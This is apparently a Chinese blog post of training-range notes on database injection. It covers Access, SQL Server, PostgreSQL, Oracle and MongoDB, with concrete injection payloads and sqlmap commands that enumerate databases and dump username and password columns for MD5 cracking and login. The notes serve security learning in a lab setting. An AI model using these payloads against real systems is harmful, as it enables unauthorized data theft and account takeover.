数据库注入
Access、mysql、mssql、mongDB、postgresql、sqlite、oracle、sybase等
#上节课JSON注入案例分析
所以json注入时要在 1、2、3上面去注入
#简要学习各种数据库的注入特点数据库架构组成,数据库高权限操作
Access 是低等级的数据库,依次是表名、列名、数据(功能很少--例如没有读写的功能)
Mysql、mssql等依次是数据库A、表名、列名、数据
数据库B、表名、列名、数据
..............(具有一定的结构)
#简要学习各种注入工具的使用指南熟悉工具的支持库,注入模式,优缺点等sqlmap, NosQLAttack , Pangolin等
Q:什么决定网站注入点用户权限?
A:连接数据库的配置文件
墨者靶场实例1-Access:
\1. 判断字段长度-4(5回显错误,4回显正常)
\2. 因为access是个简单的数据库,所以不需要判断版本、数据库名之类的,也没有记录信息表(information_schema.tables)可以直接查询数据(暴力破解--猜测)---猜测对了就会报数据,没对就会报错
直接爆出数据
(也可用字典跑)
遗留问题:access注入时,列名或表名猜不到就不能注入
墨者靶场实例2-SQL server:
https://www.cnblogs.com/xishaonian/p/6173644.html
注入步骤与mysql数据库大体一致,只是命令不同
判断版本
Payload:
id=2 and substring((select @@version),22,4)='2005'--+
其他命令与操作步骤大体与mysql注入一样
也可用sqlmap工具爆数据
如: 爆数据库名
爆表名
爆字段名
实例3:postgreSQL数据库的注入
Payload:and 1::int=1
用sqlmap工具扫描也可达到同样效果
--is-dba (是否为数据库管理员权限)
--privilege (查看权限)
-v 3 (打印出来)
爆数据库名
Payload:
python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --current-db
--tables -D 数据库名 #获取指定数据库下的表名
Payload:
python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --tables -D "public"
--columns -T 表名 -D 数据库名 #获取指定数据库中指定表的列名
Payload:
python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --columns -T "reg_users" -D "public"
--dump-C 列名 -T 表名 -D 数据库名 #获取指定数据库中指定表的指定列的数据
Payload:
python sqlmap.py -u http://219.153.49.228:47679/new_list.php?id=1 --dump -C "name,password" -T "reg_users" -D "public"
将得到的密码进行MD5解密可直接得到登陆密码
实例4:Oracle注入
原理与MySQL注入相似
判断注入类型---数字型
用union select null,null,null from dual可以尝试改变null的个数来查询列的个数,以构造相应的union查询,具体演示:
https://www.cnblogs.com/peterpan0707007/p/8242119.html
也可直接放到sqlmap工具中爆破
同样md5解密后可直接登陆
实例5:mongDB注入
Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的
注:MongDB不能使用sqlmap工具直接爆破(不支持)
手工步骤:
源码:
墨者 - SQL手工注入漏洞测试(MongoDB数据库)_mongodb数据库-注入实验-CSDN博客
爆库:
Payload:id=1'}); return ({title:tojson(db),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表:
Payload:
id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1 #查询有的集合(集合相当于mysql的表)
爆字段:
Payload:
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
# db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
用md5解密得到密码直接登录
标签:sqlmap,Web,--,数据库,id,Payload,注入 From: https://blog.csdn.net/qq_54190167/article/details/136945773